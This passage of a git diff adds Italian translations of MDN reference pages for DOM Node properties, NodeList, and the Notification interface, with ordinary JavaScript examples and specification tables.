+    Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Node")}}</p>
diff --git a/files/it/web/api/node/lastchild/index.html b/files/it/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..34804c5644
--- /dev/null
+++ b/files/it/web/api/node/lastchild/index.html
@@ -0,0 +1,59 @@
+---
+title: Node.lastChild
+slug: Web/API/Node/lastChild
+translation_of: Web/API/Node/lastChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La proprietà di sola lettura <code><strong>Node.lastChild</strong></code> restituisce l'ultimo figlio del nodo. Se il suo genitore è un elemento, allora il bambino è generalmente un nodo di elemento, un nodo di testo o un nodo di commento. Restituisce <code>null</code> se non ci sono elementi figli.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>childNode</var> = <var>node</var>.lastChild;
+</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">var tr = document.getElementById("row1");
+var corner_td = tr.lastChild;
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-lastchild', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-61AD09FB', 'Node.lastChild')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.lastChild")}}</p>
diff --git a/files/it/web/api/node/nextsibling/index.html b/files/it/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..f2355a6402
--- /dev/null
+++ b/files/it/web/api/node/nextsibling/index.html
@@ -0,0 +1,101 @@
+---
+title: Node.nextSibling
+slug: Web/API/Node/nextSibling
+translation_of: Web/API/Node/nextSibling
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà di sola lettura <code><strong>Node.nextSibling</strong></code> restituisce il nodo immediatamente successivo a quello specificato nei {{domxref("Node.childNodes","childNodes")}}, del loro genitore o restituisce <code>null</code> se il nodo specificato è l'ultimo figlio nell'elemento genitore.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>nextNode</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<div>
+<p>I browser basati su Gecko inseriscono nodi di testo in un documento per rappresentare gli spazi bianchi nel codice sorgente. Pertanto, un nodo ottenuto, ad esempio, utilizzando <a href="/it/docs/Web/API/Node/firstChild" title="The Node.firstChild read-only property returns the node's first child in the tree, or null if the node has no children."><code>Node.firstChild</code></a> o <a href="/it/docs/Web/API/Node/previousSibling" title="The Node.previousSibling read-only property returns the node immediately preceding the specified one in its parent's childNodes list, or null if the specified node is the first in that list."><code>Node.previousSibling</code></a> può fare riferimento a un nodo di testo di spazi bianchi piuttosto che all'elemento effettivo che l'autore intendeva ottenere.</p>
+
+<p>Vedi <a href="/en-US/docs/Web/Guide/DOM/Whitespace_in_the_DOM">Whitespace in the DOM</a> e <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a> per maggiori informazioni.</p>
+</div>
+
+<p>{{domxref("Element.nextElementSibling")}} può essere usato per ottenere l'elemento successivo saltando eventuali nodi di spazi vuoti, altro testo tra elementi o commenti.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:html">&lt;div id="div-1"&gt;Here is div-1&lt;/div&gt;
+&lt;div id="div-2"&gt;Here is div-2&lt;/div&gt;
+
+&lt;script&gt;
+var el = document.getElementById('div-1').nextSibling,
+    i = 1;
+
+console.group('Siblings of div-1:');
+
+while (el) {
+  console.log(i, '. ', el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+console.groupEnd();
+&lt;/script&gt;
+
+/**************************************************
+  The console displays the following:
+
+     Siblings of div-1
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+</pre>
+
+<p>Nell'esempio precedente, i nodi, <code>#text</code> sono inseriti nel DOM in cui si verifica lo spazio bianco tra i tag (ad esempio dopo il tag di chiusura di un elemento e prima del tag di apertura del successivo).</p>
+
+<p>La possibile inclusione di nodi di testo deve essere consentita quando si attraversa il DOM utilizzando <code>nextSibling</code>. Vedi le risorse <a href="#Appunti">nella sezione Appunti</a>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-nextsibling', 'Node.nextSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-6AC54C2F', 'Node.nextSibling')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#attribute-nextSibling', 'Node.nextSibling')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.nextSibling")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Element.nextElementSibling")}}</li>
+</ul>
diff --git a/files/it/web/api/node/previoussibling/index.html b/files/it/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..735433da9e
--- /dev/null
+++ b/files/it/web/api/node/previoussibling/index.html
@@ -0,0 +1,81 @@
+---
+title: Node.previousSibling
+slug: Web/API/Node/previousSibling
+translation_of: Web/API/Node/previousSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La proprietà di sola lettura <code><strong>Node.previousSibling</strong></code> restituisce il nodo immediatamente precedente a quello specificato nell'elenco {{domxref("Node.childNodes", "childNodes")}} del genitore, o <code>null</code> se il nodo specificato è il primo in tale elenco.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><var>previousNode</var> = <em>node</em>.previousSibling;
+</pre>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush: html">&lt;img id="b0"&gt;
+&lt;img id="b1"&gt;
+&lt;img id="b2"&gt;</pre>
+
+<pre class="brush:js">console.log(document.getElementById("b1").previousSibling); // &lt;img id="b0"&gt;
+console.log(document.getElementById("b2").previousSibling.id); // "b1"
+</pre>
+
+<h2 id="Notes" name="Notes">Appunti</h2>
+
+<div>
+<p>I browser basati su Gecko inseriscono nodi di testo in un documento per rappresentare gli spazi bianchi nel codice sorgente. Pertanto, un nodo ottenuto, ad esempio, utilizzando <a href="/it/docs/Web/API/Node/firstChild" title="The Node.firstChild read-only property returns the node's first child in the tree, or null if the node has no children."><code>Node.firstChild</code></a> o <a href="/it/docs/Web/API/Node/previousSibling" title="The Node.previousSibling read-only property returns the node immediately preceding the specified one in its parent's childNodes list, or null if the specified node is the first in that list."><code>Node.previousSibling</code></a> può fare riferimento a un nodo di testo di spazi bianchi piuttosto che all'elemento effettivo che l'autore intendeva ottenere.</p>
+
+<p>Vedi <a href="/en-US/docs/Web/Guide/DOM/Whitespace_in_the_DOM">Whitespace in the DOM</a> e <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a> per maggiori informazioni.</p>
+</div>
+
+<p>Per navigare nella direzione opposta attraverso l'elenco dei nodi secondari usa <a href="/it/docs/Web/API/Node.nextSibling" title="DOM/Node.nextSibling">Node.nextSibling</a>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-previousSibling', 'Node.previousSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-640FB3C8', 'Node.previousSibling')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-640FB3C8', 'Node.previousSibling')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#attribute-previousSibling', 'Node.previousSibling')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.previousSibling")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Node.nextSibling")}}</li>
+</ul>
diff --git a/files/it/web/api/nodelist/foreach/index.html b/files/it/web/api/nodelist/foreach/index.html
new file mode 100644
index 0000000000..5d8f5d0088
--- /dev/null
+++ b/files/it/web/api/nodelist/foreach/index.html
@@ -0,0 +1,125 @@
+---
+title: NodeList.prototype.forEach()
+slug: Web/API/NodeList/forEach
+tags:
+  - DOM
+  - Iterabile
+  - NodeList
+  - Referenza
+  - Web
+  - metodo
+translation_of: Web/API/NodeList/forEach
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Il metodo <strong><code>forEach()</code></strong> dell'interfaccia {{domxref("NodeList")}} chiama il callback fornito nel parametro una volta per ogni coppia di valori nell'elenco, in ordine di inserimento.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>NodeList.</em>forEach<em>(callback[, thisArg]);</em>
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione da eseguire per ciascun elemento, eventualmente con 3 argomenti:
+ <dl>
+  <dt><em><code>currentValue</code></em></dt>
+  <dd>L'elemento corrente in elaborazione nella NodeList.</dd>
+  <dt><code><em>currentIndex</em></code></dt>
+  <dd>L'indice dell'elemento corrente in fase di elaborazione nella NodeList.</dd>
+  <dt><em><code>listObj</code></em></dt>
+  <dd>La NodeList a cui viene applicato <code>forEach()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code><code> {{Optional_inline}}</code></dt>
+ <dd>Valore da utilizzare come {{jsxref("this")}} quando viene eseguito <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>{{jsxref('undefined')}}.</p>
+
+<h2 id="Eccezioni">Eccezioni</h2>
+
+<p><em>Nessuna</em>.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js;highlight:[6]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'myThisArg'
+);</pre>
+
+<p>ritorna:</p>
+
+<pre>[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Questo {{Glossary("Polyfill","polyfill")}} aggiunge compatibilità a tutti i browser che supportano <a href="https://caniuse.com/#search=es5">ES5</a>:</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+        for (var i = 0; i &lt; this.length; i++) {
+            callback.call(thisArg, this[i], i, this);
+        }
+    };
+}</pre>
+
+<p>OPPURE</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = Array.prototype.forEach;
+}</pre>
+
+<p>Il comportamento sopra riportato indica il numero di browser che implementa effettivamente NodeList.prototype.forEach (Chrome, ad esempio).</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("WebIDL", "#es-forEach", "forEach")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Definisce <code>forEach</code> sulle dichiarazioni <code>iterable</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.NodeList.forEach")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/it/web/api/nodelist/index.html b/files/it/web/api/nodelist/index.html
new file mode 100644
index 0000000000..4b18f62d63
--- /dev/null
+++ b/files/it/web/api/nodelist/index.html
@@ -0,0 +1,124 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+  - API
+  - DOM
+  - Interfaccia
+  - NodeList
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Gli oggetti <strong><code>NodeList</code></strong> sono un insieme di <a href="https://developer.mozilla.org/it/docs/Glossary/Node/DOM">nodi</a>, di solito restituiti da proprietà come {{domxref("Node.childNodes")}} ed il metodo {{domxref("document.querySelectorAll()")}}.</p>
+
+<div class="note">
+<p>Nonostante <code>NodeList</code> non sia un <code>Array</code>, è possibile iterare su esso usando <code>forEach()</code>. Può anche essere convertito in un vero <code>Array</code> usando <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/Array/from" title="Il metodo Array.from() crea una nuova istanza Array copiata superficialmente da un oggetto simile a un array o iterabile."><code>Array.from()</code></a>.</p>
+
+<p>Tuttavia, alcuni browser meno recenti non hanno implementato <code>NodeList.forEach()</code> né <code>Array.from()</code>. Questo può essere aggirato usando {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} — vedi <a href="https://developer.mozilla.org/it/docs/Web/API/NodeList#Esempio">l'esempio</a> di questo documento.</p>
+</div>
+
+<p>In alcuni casi, la <code>NodeList</code> è <em>dinamica</em>, ciò significa che i cambiamenti nel DOM si riflettono sulla collezione. Per esempio, {{domxref("Node.childNodes")}} è dinamico:</p>
+
+<pre class="brush: js">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // assume "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // dovrebbe produrre "3"
+</pre>
+
+<p>In altri casi, la <code>NodeList</code> è <em>statica, </em>ciò vuol dire che il contenuto della collezione non è influenzato da quelli nel DOM.<em> </em>{{domxref("document.querySelectorAll()")}} restituisce una <code>NodeList</code> statica.</p>
+
+<p>È bene tenere in mente questa distinzione quando si sceglie di iterare sugli elementi nella <code>NodeList</code>, ed in particolare al modo in cui si salva la lunghezza della lista.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.length")}}</dt>
+ <dd>Il numero dei nodi nella <code>NodeList</code>.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.item()")}}</dt>
+ <dd>Restituisce un elemento nell'elenco per il suo indice, o <code>null</code> se l'indice è fuori misura.</dd>
+ <dd>Un'alternativa all'accesso a <code>nodeList[i]</code> (che invece restituisce <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">undefined</span></font> quando <code>i</code> è fuori dai limiti). Ciò è utile soprattutto per le implementazioni DOM di linguaggi non JavaScript.</dd>
+ <dt>{{domxref("NodeList.entries()")}}</dt>
+ <dd>Ritorna un {{jsxref("Iteration_protocols","iterator")}} che permette al codice di passare attraverso tutte le coppie chiave/valore contenute nella collezione. (In questo caso, le chiavi sono numeri che iniziano da 0 e i valori sono nodi.)</dd>
+ <dt>{{domxref("NodeList.forEach()")}}</dt>
+ <dd>Esegue una funzione fornita una volta per elemento <code>NodeList</code> passando l'elemento come argomento alla funzione.</dd>
+ <dt>{{domxref("NodeList.keys()")}}</dt>
+ <dd>Ritorna un {{jsxref("Iteration_protocols", "iterator")}} che permette al codice di passare attraverso tutte le chiavi delle coppie chiave/valore contenute nella collezione. (In questo caso, i tasti sono numeri che iniziano da 0).</dd>
+ <dt>{{domxref("NodeList.values()")}}</dt>
+ <dd>Ritorna un {{jsxref("Iteration_protocols", "iterator")}} che permette al codice di passare attraverso tutti i valori (nodi) delle coppie chiave/valore contenute nella collezione.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>È possibile iterare sugli elementi in una <code>NodeList</code> usando un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a> loop:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; myNodeList.length; i++) {
+  var item = myNodeList[i];  // La chiamata myNodeList.item(i) non è necessaria in JavaScript
+}
+</pre>
+
+<p><strong>Non utilizzare <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a></code> o <code><a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a></code> per enumerare gli elementi nelle <code>NodeList</code></strong>, poiché enumereranno anche le proprietà <code>length</code> e <code>item</code> e causeranno errori se il tuo script presume che debba occuparsi solo di oggetti {{domxref("element")}}. Inoltre, <code>for..in</code> non garantisce la visita delle proprietà in un particolare ordine.</p>
+
+<p><code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> <strong>itererà</strong> sugli oggetti <code>NodeList</code> correttamente:</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}</pre>
+
+<p>I browser recenti supportano anche metodi iteratori, {{domxref("NodeList.forEach()", "forEach()")}}, come {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, e {{domxref("NodeList.keys()", "keys()")}}.</p>
+
+<p>Esiste anche un modo compatibile con Internet Explorer {{jsxref("Array.forEach()", "Array.prototype.forEach")}} per l'iterazione.</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+  item.checked = true;
+});</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM3 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM2 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>
+    <p>Definizione iniziale.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.NodeList")}}</p>
diff --git a/files/it/web/api/notifiche/dir/index.html b/files/it/web/api/notifiche/dir/index.html
new file mode 100644
index 0000000000..c1e16410d6
--- /dev/null
+++ b/files/it/web/api/notifiche/dir/index.html
@@ -0,0 +1,72 @@
+---
+title: Notification.dir
+slug: Web/API/notifiche/dir
+translation_of: Web/API/Notification/dir
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>La proprieta' in sola lettura <code>dir</code> dell'interfaccia {{domxref("Notification")}} indica la direzione del testo della notifica, puo' essere specificata nell'opzione <code>dir</code> del costruttore di {{domxref("Notification.Notification","Notification()")}} .</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="eval">var <em>direzione</em> = Notification.dir;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valori</h3>
+
+<p>La {{domxref("DOMString")}} specifica la direzione el testo. I possibili valori sono:</p>
+
+<ul>
+ <li><code>auto</code>: adotta  il comportamento delle impostazioni del browser (valore di  default.)</li>
+ <li><code>ltr</code>: da sinistra a destra. ( es. |testo notifica                | )</li>
+ <li><code>rtl</code> : da destra a sinistra.( es. |                 testo notifica|) </li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: La maggior parte dei browser ignora le opzioni esplicite settate e funzionano con le proprie impostazioni.</p>
+</div>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Il seguente frammento di codice crea un oggetto <code>opzioni</code>, da passare al costruttore <code>Notification()</code>.</p>
+
+<pre class="brush: js">var opzioni = {
+  body: 'Amo JavaScript!',
+  dir: 'rtl'
+}
+
+var n = new Notification('Mio titolo',opzioni);
+
+n.dir // dovrebbe ritornare 'rtl'
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-dir','dir')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Notification.dir")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
+</ul>
diff --git a/files/it/web/api/notifiche/index.html b/files/it/web/api/notifiche/index.html
new file mode 100644
index 0000000000..ae8300aa01
--- /dev/null
+++ b/files/it/web/api/notifiche/index.html
@@ -0,0 +1,495 @@
+---
+title: Notifiche
+slug: Web/API/notifiche
+translation_of: Web/API/Notification
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>L'interfaccia <code>Notification</code> di <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> viene usata per configurare e mostrare le notifiche desktop all'utente.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Costruttore">Costruttore</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>Crea una nuova istanza dell'oggetto <code>Notification</code>.</dd>
+</dl>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<h3 id="Proprietà_Static">Proprietà Static</h3>
+
+<p>Queste proprietà sono disponibili solo sull'oggetto <code>Notification</code> stesso.</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>Una stringa che rappresenta l'attuale permesso per mostrare le notifiche. I possibili valori sono: <code>denied</code> (l'utente rifiuta la ricezione delle notifiche), <code>granted</code> (l'utente accetta la ricezione delle notifiche), o <code>default</code> (la scelta dell'utente è sconosciuta, quindi il browser agirà come se il valore fosse negato).</dd>
+</dl>
+
+<h3 id="Proprietà_Instance">Proprietà Instance</h3>
+
+<p>Queste proprietà sono disponibili solo su istanze dell'oggetto <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>L'array di azioni della notifica come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>L'URL dell'immagine utilizzata per rappresentare la notifica quando non c'è abbastanza spazio per visualizzare la notifica stessa.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>La stringa del corpo della notifica come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>Restituisce un clone strutturato dei dati della notifica.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>La direzione del testo della notifica come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>Il codice della lingua della notifica come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>L'ID della notifica (se presente) come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>L'URL dell'immagine utilizzata come icona della notifica come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>L'URL di un'immagine da visualizzare come parte della notifica, come specificato nel parametro options del costruttore.</dd>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} che indica che una notifica deve rimanere attiva finché l'utente non fa click o non la chiude, anziché chiudersi automaticamente.</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>Specifica se la notifica deve essere silenziosa, ovvero che non emetta suoni o vibrazioni, indipendentemente dalle impostazioni del dispositivo.</dd>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>Specifica l'ora in cui viene creata o applicata una notifica (passato, presente o fututo).</dd>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>Il titolo della notifica come specificato nel primo parametro del costruttore.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>Specifica un modello di vibrazione da emettere per i dispositivi con hardware di vibrazione.</dd>
+</dl>
+
+<h4 id="Proprietà_non_supportate">Proprietà non supportate</h4>
+
+<p>Le seguenti proprietà sono elencate nelle specifiche più aggiornate, ma non sono ancora supportate da alcuni browser. È consigliabile controllare regolarmente per vedere se lo stato di queste proprietà viene aggiornato, e facci sapere se trovi informazioni non aggiornate.</p>
+
+<dl>
+ <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
+ <dd>Specifica se l'attivazione della notifica deve abilitare o meno lo schermo del dispositivo.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>Specifica se l'utente deve essere avvisato dopo che una nuova notifica sostituisce una vecchia.</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>Specifica una risorsa sonora da riprodurre quando scatta la notifica, al prosto del suono di notifica predefinito del sistema.</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>Specifica se la notifica deve essere "sticky", cioè non facilmente modificabile dall'utente.</dd>
+</dl>
+
+<h4 id="Gestori_di_eventi">Gestori di eventi</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>Un gestore per l'evento {{event("click")}}. Viene attivato ogni volta che l'utente fa click sulla notifica.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>Un gestore per l'evento {{event("error")}}. Viene attivato ogni volta che la notifica incontra un errore.</dd>
+</dl>
+
+<h4 id="Obsolete_handlers">Obsolete handlers</h4>
+
+<p>The following event handlers are still supported as listed in the {{anch("browser compatibility")}} section below, but are no longer listed in the current spec. It is safe therefore to assume they are obsolete, and may stop working in future browser versions.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>A handler for the {{event("close")}} event. It is triggered when the user closes the notification.</dd>
